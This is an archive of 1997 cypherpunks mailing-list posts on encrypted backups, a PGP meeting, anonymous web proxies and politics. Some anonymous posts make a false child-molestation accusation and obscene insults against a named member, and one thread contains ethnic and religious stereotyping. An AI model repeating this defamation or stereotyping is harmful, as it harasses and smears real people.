William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM53mY49Co1n+aLhhAQH5jgQAkM+JC5BRNLRlLc8zDN017jk6emS/aGkf
cR13xRVMdtlzVFHiEAewr45yQc+CFzwmS+hk+M9waZAsqlJkZ/SRi/YD2E1y7yxt
uyO+8AF8uQmMdY1ny6AGSxP3m14TExDAboE3Qdj9bIi1YMocEbwjdxv0Lup2CkbG
q/ABEB8mOvM=
=17oO
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 11 Jun 1997 10:25:05 +0800
To: cypherpunks@toad.com
Subject: Re: BAD ADVICE WARNING from Kent: Access to Storage andCommunication
In-Reply-To: <Pine.SUN.3.96.970610145359.9093F-100000@beast.brainlink.com>
Message-ID: <v03102807afc3bb0c25af@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>I wonder: if the data is well-encrypted, wouldn't it make the compression
>pretty ineffective?

Well encrypted data is, by definition, incompressible.  Data compression
is, for this reason, always preformed prior to encryption.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 11 Jun 1997 02:55:30 +0800
To: dlv@bwalk.dm.com
Subject: Re: IRA (was Re: [CONTROVERSIAL]: A Defense of Terrorism)
In-Reply-To: <6V618D47w165w@bwalk.dm.com>
Message-ID: <199706101825.TAA00741@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Dimitri Vulis <dlv@bwalk.dm.com> writes:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> >                               The people in NI have been there for
> > multiple generations, and probably also don't want to be relocated to
> > England.
> 
> Why is the rest of the UK obliged to cater to their desires?

Well I agree.  However I would guess that the people of NI could claim
if it suited that they _were_ english, and that the UK government was
therefor bound to provide military support, in the same way as for
borough of London say when it gets bombed by IRA.

That's socialism for you.  Say in the south of england (relatively
wealthy) we'd be better off if we didn't pay taxes to keep all the
unemployed in the north.

> What if the majority of the NI population felt that a special L1000
> poll tax should be imposed on the English, with the proceeds
> disbursed equally among the NI population?

That's called democracy you each vote to steal from other voters :-)

> >           Many of these people are English descent and their ancestors
> > where given land by the British government which was stolen from
> > native Irish about 300 years ago.  They have also intermarried.
> 
> Scottish descent, stricly speaking. Also at the rates the catholics
> are breeding, they'll be a minority soon.

I did hear that in the UK we'll all be in the minority to muslims by
2000 something for similar reasons.  (Don't have figures to back that
up, I'd guess it's exaggerated, but the trend is there, some
religions/nationalities have 6+ children each, whereas your average
honky has 1 or 2).

> > You should also realise that IRA and supporters are minority in NI
> > today, for a sense of perspective.
> 
> If you're such a strong believer in the rule of the majority :-), why
> should the NI protestants (who are a fraction of the total UK population)
> force the entire UK to do something that the rest of the UK doesn't want?

State police military is a socialist thing, the fact that they have
some claim to be english is enough justification in the eyes of
policians to interfere.  Obviously it's historical also.

IRA isn't at all popular in the UK either, peoples reactions are more
extreme than the UK military over there.  UK military is on best
behaviour, rules of engagement of no fire until fired upon, proof to
stand up in court etc.  Some soldier got tried and convicted for being
too trigger happy.  Soldiers don't like it over there, getting sniped
at, and not allowed to shoot back.  It is claimed that the military
know who all the IRA people are, but just can't pin anything on them
that would stick.  Your average UK person says: if you know who they
are why don't we send in the SAS and kill the bastards.

The IRA are a nuisance if for no other reason than they recently
altered UK law to remove right to silence because IRA suspects were
remaining silent, and with lack of evidence getting released.

So now, if you're silent, the judge can ask the jury to take this into
consideration (presumption of guilt, if you won't speak, you must have
something to hide).

Previously the converse was true, the judge was supposed to ensure the
jury understood that silence meant nothing.  You were obviously in
your best interests to say absolutely nothing.  As Duncan is fond of
pointing out, never say _anything_ to a policeman.  Your best tactic
was clearly not to even get involved in cross examination where you
could be made to look bad by clever lawyer even if completely
innocent, so no evidence, `no comment', `no comment' x 100, -> case
dismissed.

> > (I forget name, but there is a non-governmental paramilitary group on
> > other side to IRA in NI, occasionally there is rumor that British Army
> > is feeding this paramilitary organisation names of IRA suspects to
> > hit, to save them the trouble).
> 
> Is that the guys that Hallam Baker said he had asked to kill me? :-)

Guess so.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 11 Jun 1997 01:53:51 +0800
To: cypherpunks@toad.com
Subject: Hash functions
Message-ID: <199706101740.TAA27226@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Given Tim May's propensity to molest little children, is it 
any surprise that the state of California wants to have him 
castrated?

      _  o
     |<)_/# Tim May
     TT  <T





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 11 Jun 1997 09:17:47 +0800
To: cypherpunks@toad.com
Subject: Re: Fraud and free speech
In-Reply-To: <v03007852afc32baeb7d6@[207.94.249.152]>
Message-ID: <iiX48D62w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Frantz <frantz@netcom.com> writes:

>
> At 5:27 PM -0700 6/8/97, Tim May wrote:
> >(Oh, and it almost goes without saying that the same "lies" William and
> >others are so worried about in "commercial" speech happen all the time in
> >non-commerical speech. For every example of where commercial speech
> >involves lies or fraud, I can find similar or fully equivalent
> >non-commercial examples, ranging from lies like "I love you" to get a
> >partner into bed to deliberate misstatements to mislead an opponent. Why
> >should such "lies" be protected while putatively commercial speech is to be
> >subjected to an increasing number of limitations?)
>
> The only justification I can think of off hand is that a presumption of
> truth may make for more efficient markets.  On the other hand, it also has
> very bad effects when applied to political speech.

I'm inclined to argue that "presumption of truth" and "implied warranty
of merchantability" actually lead to LESS efficient markets, but I'm
too tried tonite.  If anyone's interesting, please ping me later. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 11 Jun 1997 10:09:16 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: [ADMINISTRATIVIUM] e$
In-Reply-To: <199706102345.BAA12345@basement.replay.com>
Message-ID: <Pine.A41.3.95.970610195520.95170A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

On Wed, 11 Jun 1997, Anonymous wrote:

> Timothy C. Mayonnaise is a pimply dweeb sitting at a computer chortling at his own 
> imagined cleverness.
> 
>    . o       c ,
>    `'#v-- --v#`' Timothy C. Mayonnaise
>     /'>     <`\
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 11 Jun 1997 09:19:50 +0800
To: cypherpunks@toad.com
Subject: Re: BAD ADVICE WARNING from Kent: Access to Storage and Communication
In-Reply-To: <Pine.SUN.3.96.970610145359.9093F-100000@beast.brainlink.com>
Message-ID: <95X48D67w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Ray Arachelian <sunder@brainlink.com> writes:
> Passphrases can be memorized.  4mm DAT tapes hold several gigs and are
> tiny.  Ever see one?  Fits in your pocket.  It's smaller that an audio
> cassette. Fairly easy to guard, but, if your data is backed up in
> encrypted form (cyphertext), and not clear text, you don't even need to
> bother protecting the tape. (That is unless your backup software uses a
> weak cypher as most tend to do.)  [FYI: Your knowledge of tape
> technologies is severly lacking. 4mm tapes hold 2-4Gb.  Exabytes 5Gb-10Gb.
> Mamouth Exabytes (same size as 8mm camcorder video tapes, smaller than
> audio cassettes) hold as much as 40Gb in a very small form factor.]

I'm actually thinking of getting a pair of 4mm tape drives to replace
my existing backup system (very old drives that use DC 600As; only
.25GB / drive, pretty slow, no NT drivers; time to upgrade)

I wonder: if the data is well-encrypted, wouldn't it make the compression
pretty ineffective?

Also: can somebody recommend good, fast 4MM drives that go inside a PC and
work off a SCSI controller, and are supported by Windows NT and 95 with no
special drivers? (I don't care about OS/2 and Linux support)

[I guess I'll burn the old media or something. :-) I still have about
3 cubic feet of 5.25" floppies that I don't know how to discard]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 11 Jun 1997 11:46:39 +0800
To: cryptography@c2.net
Subject: BAY AREA CYPHERPUNKS, JUNE 14, AT PGP Inc. IN SAN MATEO
Message-ID: <3.0.1.32.19970610201850.0074dcc8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


      Cypherpunks June 97 Physical Meeting Announcement
      (SF Bay Area, Northern California chapter)

           Date: 14 June 1997 (second Saturday as usual) 
           Time: 12pm - 4pm 
           Host: Pretty Good Privacy, Inc. 
           Contact: Dave Del Torto - 415.596.1781 voice 

Agenda for 14 June 97 (subject to slight variations):

1.Angelos Keromytis & Hugh Daniel on their Linux IPSEC work: 
	Hot news from the recent IPSEC interoperability bake-off in Michigan

2.PGP 5.0 Source Code Release & Public Review: The first release of *all* 
	final PGP 5.0 source code to the People! PGP engineers will be
	present to discuss technical details and answer specific questions. 
	A number of copies will be available (free) to attendees who wish 
	to review the cryptography code (note: we recommend that you
      bring a box or bag, as it's 14 volumes and nearly 7,000 pages). 

3.HIP97 Trip Planning Committee: A group from California is planning on
	attending the 
	     Hacking in Progress '97 
	event sponsored by XS4ALL in the Netherlands (8/9/10 Aug). 
	This event is followed by the IETF meeting in Munich, and some will 
	continue on. We'll discuss our cooperative travel plans. 
	Cf. N.B.: Contact ASAP for flight info as flights are being booked 
	up rapidly (high tourist season). 
		[Editors Note:  _High_ tourists in Amsterdam??]

4. Ian Goldberg's Cool Canadian Crypto Software for Pilot Organizers
	If somebody from Berkeley can give Ian a ride,
	he'll demo the crypto libraries and applications he wrote
	while out of the US.

PGP Building Access:

This is an Open Meeting on US Soil and it is free for anyone to attend. 

      There is a minor building security formality due to the facilities
	being in a bank building:  anytime after 12 noon, approach the 
	Bayview Building's Information window (in the plaza, see below for
	directions), and ask the Guard on Duty to let you up to the 
	2nd Floor for the Cypherpunks meeting (use the passphrase 
	"cypherpunks release code"). If you have any difficulty 
	(eg. if the guard is on a break), simply call me at 415.730.3583 
	and I'll let you in. 

      You can arrive at any time during the scheduled meeting hours, 
	though earlier is better if you want to hear the interesting stuff. 


Directions to PGP:

      Pretty Good Privacy's HQ is located at: 

      2121 South El Camino Real 
      9th Floor - (the meeting is on the 2nd Floor) 
      San Mateo CA 94403, USA 

                         Directions available here 
			http://www.pgp.com/pgpcorp/contactpgp.cgi#head
                                    or 
  follow DDT's Directions to PGP's HQ in San Mateo (fossil fuel version): 


                                    MACRO 

      From the North Bay: 

      Hwy 101 South (use right lanes after passing SFO) 
      EXIT Fwy 92 West (move to center lane immediately after ramp)... 
      or 280 South (take Hwy 92 East toward the Bay)... 

      From the South Bay: 

      101 North - EXIT Fwy 92 West (toward Half Moon Bay)... 
      280 North - EXIT Hwy 92 East (toward the Bay)... 

      From the East Bay: 

      San Mateo Bridge (Hwy 92 West) 
      GO past Hwy 101... 



                                     MICRO 

      Once you're on Hwy 92 (from either 280 or 101) 

      EXIT at SOUTH El Camino Real 
	(From 101 it's about a mile, and there are two El Camino exits!)
	(From 280 it's about 7 miles, after you've come down a steep grade,
	levelled out and passed under an overpass) 
      Curve around and down under freeway: you're now travelling south on
	El Camino Real. 
      Get in the LEFT lane *immediately*. (Directly in front of you, 
	you can see the Bayview Building a couple of blocks away: 
	it's the only highrise around.) 
      LEFT on 20th (The very first traffic light after exit ramp. 
	Taco Bell is on left). 
      RIGHT turn at next stop sign (residential street: Palm). 
      PROCEED 1.5 blocks. (Parking Garage entrance at rear of Bayview 
	building is on your right.) 
      PARK on the 2nd level. 

                                     NANO 

      Once you've parked your vehicle in the Garage (it's free): 
      STAIRS (or Elevator) to the main level, step out and... 
      WALK WEST across the courtyard to the main (tallest) building. 
      PASS through the doorway in the stand-alone exterior "glass wall" 
	and approach the "Information" window (also the Guard Station) 
	on the north side of the building. 
      GET the guard's attention (preferably *not* by waving a firearm).
	Use the passphrase and you'll be admitted.  If the guard's on a 
	break, call me at 415.730.3583. 
      ELEVATOR to 2nd Floor. (The meeting room is on left side, slightly
	down the hall) 

      Public Transit

      For CalTrain, get off at the San Mateo station near the Bay Meadows
	horse racing track and head for the tallest building around with
	the huge "Bayview" sign on top. It's a short walk or cab ride. 

      By bus, take any line running on El Camino Real to the intersection
	of 20th in San Mateo and dismount. Look up: you're there. 



- ------------------
Announcement also available at http://www.pgp.com/newsroom/cpunk-info.cgi


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM54YkvthU5e7emAFAQFF8AH+M0LItG6OfTn4h8BNF+51RLsuQHWq1TgY
IN+R3j+A7AJno7lUxP612Ctm5m/3V2dAa5HrScyCfm3KUiPDxOqozQ==
=gMPf
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Wed, 11 Jun 1997 10:49:51 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: BAD ADVICE WARNING from Kent: Access to Storage and Communication
In-Reply-To: <95X48D67w165w@bwalk.dm.com>
Message-ID: <199706110235.VAA04670@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Dr.Dimitri Vulis KOTM wrote:
> Ray Arachelian <sunder@brainlink.com> writes:
> > Passphrases can be memorized.  4mm DAT tapes hold several gigs and are
> > tiny.  Ever see one?  Fits in your pocket.  It's smaller that an audio
> > cassette. Fairly easy to guard, but, if your data is backed up in
> > encrypted form (cyphertext), and not clear text, you don't even need to
> > bother protecting the tape. (That is unless your backup software uses a
> > weak cypher as most tend to do.)  [FYI: Your knowledge of tape
> > technologies is severly lacking. 4mm tapes hold 2-4Gb.  Exabytes 5Gb-10Gb.
> > Mamouth Exabytes (same size as 8mm camcorder video tapes, smaller than
> > audio cassettes) hold as much as 40Gb in a very small form factor.]
> 
> I'm actually thinking of getting a pair of 4mm tape drives to replace
> my existing backup system (very old drives that use DC 600As; only
> .25GB / drive, pretty slow, no NT drivers; time to upgrade)
> 
> I wonder: if the data is well-encrypted, wouldn't it make the compression
> pretty ineffective?

You can compress before the encryption (if the encryption algorithm
does not do compression).

tar cvfz - /directory | Encrypt > /dev/ftape

or something like that.

Another thing to worry about is being able to at least partially restore
data if one or several blocks get corrupted.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 11 Jun 1997 23:11:21 +0800
To: cypherpunks@toad.com
Subject: Re: BAD ADVICE WARNING from Kent: Access to Storage and Communication
Message-ID: <199706111450.JAA01794@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


In <199706110235.VAA04670@manifold.algebra.com>, on 06/10/97 
   at 09:35 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Dr.Dimitri Vulis KOTM wrote:
>> Ray Arachelian <sunder@brainlink.com> writes:
>> > Passphrases can be memorized.  4mm DAT tapes hold several gigs and are
>> > tiny.  Ever see one?  Fits in your pocket.  It's smaller that an audio
>> > cassette. Fairly easy to guard, but, if your data is backed up in
>> > encrypted form (cyphertext), and not clear text, you don't even need to
>> > bother protecting the tape. (That is unless your backup software uses a
>> > weak cypher as most tend to do.)  [FYI: Your knowledge of tape
>> > technologies is severly lacking. 4mm tapes hold 2-4Gb.  Exabytes 5Gb-10Gb.
>> > Mamouth Exabytes (same size as 8mm camcorder video tapes, smaller than
>> > audio cassettes) hold as much as 40Gb in a very small form factor.]
>> 
>> I'm actually thinking of getting a pair of 4mm tape drives to replace
>> my existing backup system (very old drives that use DC 600As; only
>> .25GB / drive, pretty slow, no NT drivers; time to upgrade)
>> 
>> I wonder: if the data is well-encrypted, wouldn't it make the compression
>> pretty ineffective?

>You can compress before the encryption (if the encryption algorithm does
>not do compression).

>tar cvfz - /directory | Encrypt > /dev/ftape

>or something like that.

>Another thing to worry about is being able to at least partially restore
>data if one or several blocks get corrupted.

Well for backup purposes one would probably want to do their encryption on
a block size < file size. As an example for a 1M file you could encrypt it
as 10 seperate 100k blocks (or any suitable block size) rather than
encrypting the entire file in one block. I have programs on my system that
will do this for me but it would be best if all of this was built into the
backup software.

Myself I don't use tape. I use mirrored HD's and MO's & CD for short &
long term archives.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 11 Jun 1997 13:41:08 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [Noise, California only] Good deal on ISDN access
In-Reply-To: <3.0.2.32.19970609203945.00715b00@netcom13.netcom.com>
Message-ID: <3.0.2.32.19970610222830.0076124c@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:55 AM 6/11/97 +0200, Anonymous wrote:
>Lucky Green sez:
[about ISDN]
>But don't they still charge you a penny a minute?

Not in the evening/night, which is when I tend to use my box at home. 

>When for $150 you can get a brand spanking new 56K modem, and pay $20-30 a
>month.  Not as fast, but a much better price/performance ratio.

Assuming you can get 56k over your POTS line. Less than 20% of US
households can even link up at 28.8k. ISDN is a clean solution that will
work over just about any old wire. And now it has become rather
inexpensive. I see little reason to stick with analog. YMMV.


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Wed, 11 Jun 1997 13:43:46 +0800
To: ichudov@Algebra.COM (Igor Chudov)
Subject: Re: Personal info regulation [CNN]
In-Reply-To: <199706110337.WAA06786@einstein.ssz.com>
Message-ID: <3.0.2.32.19970610223453.03c1b220@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:13 AM 6/11/97 -0500, Igor Chudov @ home wrote:
>
>Jim Choate wrote:
>>     ____________________________________________________________________
>>    |                                                                    | 
>>    |            _____                             The Armadillo Group   |
>>    |         ,::////;::-.                           Austin, Tx. USA     |
>>    |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
>>    |      .',  ||||    `/( e\                                           |
>>    |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
>>    |                                                 ravage@ssz.com     |
>>    |                                                  512-451-7087      |
>>    |____________________________________________________________________|
>> 
>
>                \=/,         _-===-_-====-_-===-_-==========-_-====-_
>                |  @___oo   (                                        )_
>      /\  /\   / (___,,,}_--=                                          )
>     ) /^\) ^\/ _)        =__                                         )
>     )   /^\/   _)          (_  This space intentionally left blank.  )
>     )   _ /  / _)            (                                        )
> /\  )/\/ ||  | )_)            (_                                     )
><  >      |(,,) )__)             (                                     )
> ||      /    \)___)\             (_                                 __)
> | \____(      )___) )___           -==-_____-=====-_____-=====-___==
>  \______(_______;;; __;;;
>
>


                           #    ###  #   # ##### tm
                          # #  #   # ## ## #
                         #   # #     # # # ###
                         ##### #   # #   # #
     INTRODUCING THE NEW #   #  ###  #   # ##### RECTAL HEDGEHOG INSERTER!
             
                            \\\\      |\            And here is our new
       Here we have        >>>>>o     | \____.  RECTAL HEDGEHOG INSERTER(tm)!
   an ORDINARY HEDGEHOG    ///////==  |  ____|     Guaranteed to turn even
           --->             ^^ ^^     | /        the most BORING hedgehog...
                                      |/

              ...into the MOST EXCITING EVENING OF *YOUR LIFE*!
                          TRY IT!  YOU'LL LIKE IT!
        (Supplies limited.  Prices subject to change without notice.)

-

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 11 Jun 1997 12:10:52 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Laptop theft [CNN]
Message-ID: <199706110335.WAA06750@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>                                 PC, PHONE HOME
>                                        
>       Laptop
>      
>   Industry aims to stop theft of laptops
>   
>      June 10, 1997
>      Web posted at: 11:45 p.m. EDT (0345 GMT)
>      
>      From Correspondent Greg Lefevre
>      
>      SAN FRANCISCO (CNN) -- Expensive, compact and frequently out and
>      about, a laptop computer makes an attractive target for thieves.
>      
>      But the computer industry has devised some ingenious ways to counter
>      theft, including invisible software that knows when the computer is
>      in trouble.

[remainder deleted]


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 11 Jun 1997 12:11:35 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Personal info regulation [CNN]
Message-ID: <199706110337.WAA06786@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>                COMPANIES AGREE TO ADDRESS CYBER-PRIVACY CONCERNS
>                                        
>       graphic
>      
>      June 10, 1997
>      Web posted at: 7:34 p.m. EDT (2334 GMT)
>      
>      WASHINGTON (AP) -- Hoping to stave off strict government curbs,
>      Lexis-Nexis and seven other companies that sell detailed personal
>      information about Americans agreed Tuesday to voluntary limits to
>      minimize privacy intrusions.
>      
>      But consumer advocates at a Federal Trade Commission hearing
>      insisted that mandatory rules were needed to crack down on growing
>      abuses by electronic data companies, especially because many smaller
>      companies aren't part of the agreement.

[remainder deleted]


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Wed, 11 Jun 1997 10:53:46 +0800
To: cypherpunks@toad.com
Subject: LPWA
Message-ID: <Pine.LNX.3.94.970610223456.6818L-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



http://www.wired.com/news/technology/story/4375.html

Covering Your Tracks via a Helping Hand
by Michael Stutz

6:02pm  10.Jun.97.PDT Ironically, when it comes to privacy on the
Net, you often have to turn to middlemen for help.

In the latest in a long string of software and services that act
as intermediaries for two parties when at least one of the
parties wants anonymity, a technology demonstration was announced
by Lucent Technologies on Tuesday. The Lucent Personalized Web
Assistant enables users to maintain Web anonymity even on sites
that require email registration. The LPWA acts as an anonymous
proxy server, handling HTTP requests between a user and a Web
site so that the user remains anonymous, said Alain Mayer, one of
LPWA's developers. LPWA also filters the HTTP protocol so that no
unwanted information goes out from the user, he said.

Unlike the Anonymizer, a popular anonymous Web browsing service,
it cannot perform temporary, nonproxy, anonymous Web sessions,
but it does allow for anonymous accounts on Web sites that
require it. "It computes on your behalf all kinds of username and
passwords you'll need at different Web sites, in such a way that
they will appear completely unrelated. On top of that, it will
assign you a different email address" for each site that is
visited.

The problem, Mayer says, is that many commercial Web sites
require online registration before you can access their
information. Besides the fact that many people do not like this -
and choose not to visit those sites - this poses a number of
logistical problems. "One problem is that you have to remember
all the username and passwords that you give out the next time
you come back," said Mayer. "And if you always use the same set
of username and passwords, these sites can potentially can get
together and see wherever you're going and trace you down."

The goal in designing LPWA was to address "where convenience and
privacy can go hand-in-hand," Mayer said. "If you design privacy
in software, it entails that you have to give on the convenience
side. Our main goal was to combine these two possibly
antagonistic goals."

Currently, Lucent stores no information about LPWA users, since
the anonymous usernames and passwords are generated by a
cryptographic function. When a user connects to a site that
requires a login, "\U" is entered for a username and "\P" for a
password; LPWA then interprets this and supplies the
cryptographically generated username and password to the site.
Unlike some anonymous remailers, which store translations
of users on hard disks, nothing would be retrieved from an LPWA
should it be compromised by a government or other entity.

But could commercial sites ban LPWA access by their own means?
Mayer doesn't think so. "Potentially, a Web site can always
refuse email from certain domains," he said, "but we can always
find different domains, not just lpwa.com. What we hope is that
commercial Web sites don't see us as an enemy but as a friend,
because if users feel more secure in having certain things
protected that they feel strongly about, then they also hopefully
will feel better about giving certain other demographic
information that the Web site can use. If this system gets
popular, both sides will gain."

While LPWA is now online, it should just be considered a demo;
future versions may evolve into a commercial product that
corporations could use with their firewalls, or ISPs could
provide as an added benefit. LPWA is built on top of the popular
Apache server software and runs on Unix - so it is plausible that
in the future, individuals will run it on their own machines.
"It's technically feasible to have this run on your laptop," said
Mayer, "and if you're willing to live with the performance
degradation you can even have it connect to another one and
another one, so you don't have to trust anybody."

Justin Boyan, author of the Anonymizer, imagines that schemes
like chains of proxies are conceivable, but you'll always have to
trust the community you are connected with. "It is a matter of
trust. It's an issue of, 'Do you trust the people or the
organization behind the middleman?' [LPWA] does require you to
trust Lucent if you use it, and it requires you to trust
anonymizer.com if you want to use us."

But why trust Lucent? Mayer thinks that's a very good question.
"You shouldn't," he said. "This is only a demonstration, and
hopefully will generate enough interest that this will be put in
places that are not in our hands. We don't even want to have this
responsibility - it's not our business. Do you trust your ISP?
That's a question you have to ask yourself anyway."

Copyright (c) 1993-97 Wired Ventures, Inc. and affiliated companies.
All rights reserved.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Wed, 11 Jun 1997 13:42:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Thoughtcrime   (Re: My War)
Message-ID: <3.0.32.19970610224326.0075855c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain




I really don't think that se7en just wants to censor the kiddie porn sites;
I think he is on a personal vendetta (like McVeigh).   He didn't call for
anyone to support legislation and propose new, tough laws, but called for
hackers to go after this particular target.    On the net anyone is prey,
remember;  kiddie porn dealers not exempted.

It's moot to discuss whether eliminating a few thousand digital images will
make any difference on the availability/market desireability of these
pictures (I expect these are all backed up somewhere, anyway, so destroying
them probably wouldn't actually make much difference, but just anger the
owners.)   How many photos of real children arranged into sexual poses or
imposed upon to perform sexual acts does it take to satisfy an addict?
How many photos which are not duplicates do these people actually possess,
and how many more do they seek to obtain?   Is it the number of them, or
the thrill of the "new"?   That a certain number of these photos are in
circulation may not be so important as the fact that they are "new" (to the
person looking to get them).   This means that having free circulation of
large numbers of images may be beside the point (I am speculating and
